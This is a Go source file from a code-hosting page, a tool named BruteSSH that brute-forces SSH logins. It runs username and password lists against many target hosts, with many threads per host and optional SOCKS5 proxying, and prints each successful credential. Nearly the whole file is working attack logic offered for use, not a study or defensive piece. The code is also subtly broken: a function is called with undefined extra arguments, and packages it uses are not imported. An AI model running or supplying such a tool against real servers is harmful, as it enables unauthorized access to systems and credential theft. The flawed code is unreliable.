-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathBruteSSH.go
211 lines (184 loc) · 5.59 KB
/
BruteSSH.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
package main
import (
"bufio"
"context"
"flag"
"fmt"
"golang.org/x/crypto/ssh"
"golang.org/x/net/proxy"
"os"
"strings"
"sync"
)
// readLines reads usernames or passwords from a given file.
func readLines(filename string) ([]string, error) {
var lines []string
file, err := os.Open(filename)
if err != nil {
return nil, err
}
defer file.Close()
scanner := bufio.NewScanner(file)
for scanner.Scan() {
lines = append(lines, scanner.Text())
}
return lines, scanner.Err()
}
// ensurePort appends default SSH port if not specified.
func ensurePort(addresses []string) []string {
var result []string
for _, addr := range addresses {
if !strings.Contains(addr, ":") {
addr += ":22"
}
result = append(result, addr)
}
return result
}
// burstIP attempts SSH connections using provided credentials and proxy.
func burstIP(address string, users, passwords []string, dialer proxy.Dialer, threadCount, detail int) {
if !checkPortReachability(address, dialer) {
return // End the goroutine if the port is not reachable
}
addrCtx, addrCancel := context.WithCancel(context.Background())
defer addrCancel() // Ensure addrCancel is called on function exit to avoid resource leak
var wg sync.WaitGroup
semaphore := make(chan struct{}, threadCount)
for _, user := range users {
for _, pass := range passwords {
select {
case <-addrCtx.Done():
return
case semaphore <- struct{}{}:
}
wg.Add(1)
go func(user, pass string) {
defer wg.Done()
if trySSH(user, pass, address, dialer, detail, requestList, requestListItemsP) {
addrCancel() // Exit early if successful
}
<-semaphore
}(user, pass)
}
}
wg.Wait()
}
// trySSH tries an SSH connection with the given credentials and proxy.
func trySSH(user, pass, address string, dialer proxy.Dialer, detail int) bool {
config := &ssh.ClientConfig{
User: user,
Auth: []ssh.AuthMethod{ssh.Password(pass)},
HostKeyCallback: ssh.InsecureIgnoreHostKey(), // Production environments should use a secure method.
}
conn, err := dialer.Dial("tcp", address)
if err != nil {
if detail == 1 {
fmt.Printf("Failed to dial: %s@%s with password %s\n", user, address, pass)
}
return false
}
sshConn, chans, reqs, err := ssh.NewClientConn(conn, address, config)
if err != nil {
if detail == 1 {
fmt.Printf("Failed to create SSH client: %s@%s with password %s\n", user, address, pass)
}
return false
}
client := ssh.NewClient(sshConn, chans, reqs)
defer client.Close()
fmt.Printf("Success: %s@%s with password %s\n", user, address, pass)
return true
}
// checkPortReachability tries to establish a TCP connection to the given address to check if the port is reachable using the provided proxy.
func checkPortReachability(address string, dialer proxy.Dialer) bool {
timeout := 5 * time.Second // Set a reasonable timeout
// Creating a net.Dialer with a specific timeout
netDialer := &net.Dialer{
Timeout: timeout,
}
// If a proxy is set (not proxy.Direct), we use the proxy to dial the connection
if dialer != proxy.Direct {
conn, err := dialer.Dial("tcp", address)
if err != nil {
fmt.Println(`[ ! ]` + address + ` Port unreachable`)
return false
}
conn.Close()
return true
}
// If no proxy, we use the net.Dialer directly to dial the connection
conn, err := netDialer.Dial("tcp", address)
if err != nil {
fmt.Println(`[ ! ]` + address + ` Port unreachable`)
return false
}
conn.Close()
return true
}
func main() {
var (
usernameFile, passwordFile string
usernameInput, passwordInput string
addresses, proxyAddress string
threadCount, detail int
)
flag.StringVar(&usernameFile, "u", "", "File containing usernames")
flag.StringVar(&passwordFile, "p", "", "File containing passwords")
flag.StringVar(&usernameInput, "U", "", "Directly specified usernames")
flag.StringVar(&passwordInput, "P", "", "Directly specified passwords")
flag.StringVar(&addresses, "h", "", "Target addresses")
flag.StringVar(&proxyAddress, "proxy", "", "SOCKS5 proxy address")
flag.IntVar(&threadCount, "t", 50, "Threads per address")
flag.IntVar(&detail, "d", 0, "Detail level (0/1)")
flag.Parse()
var users, passwords []string
var err error
// Append directly specified usernames/passwords if provided
if usernameInput != "" {
users = strings.Split(usernameInput, ",")
}
if passwordInput != "" {
passwords = strings.Split(passwordInput, ",")
}
// Read usernames/passwords from file if filename is provided
if usernameFile != "" {
fileUsers, err := readLines(usernameFile)
if err != nil {
fmt.Fprintf(os.Stderr, "Error reading username file: %v\n", err)
os.Exit(1)
}
users = append(users, fileUsers...)
}
if passwordFile != "" {
filePasswords, err := readLines(passwordFile)
if err != nil {
fmt.Fprintf(os.Stderr, "Error reading password file: %v\n", err)
os.Exit(1)
}
passwords = append(passwords, filePasswords...)
}
if len(users) == 0 || len(passwords) == 0 {
fmt.Println("Error: Specify both usernames and passwords via files or directly.")
os.Exit(1)
}
addressList := ensurePort(strings.Split(addresses, ","))
// Setup proxy dialer if proxy address is provided
var dialer proxy.Dialer = proxy.Direct
if proxyAddress != "" {
dialer, err = proxy.SOCKS5("tcp", proxyAddress, nil, proxy.Direct)
if err != nil {
fmt.Fprintf(os.Stderr, "Proxy connection error: %v\n", err)
os.Exit(1)
}
}
// Launch SSH burst attempts
var wg sync.WaitGroup
for _, address := range addressList {
wg.Add(1)
go func(address string) {
defer wg.Done()
burstIP(address, users, passwords, dialer, threadCount, detail)
}(address)
}
wg.Wait()
}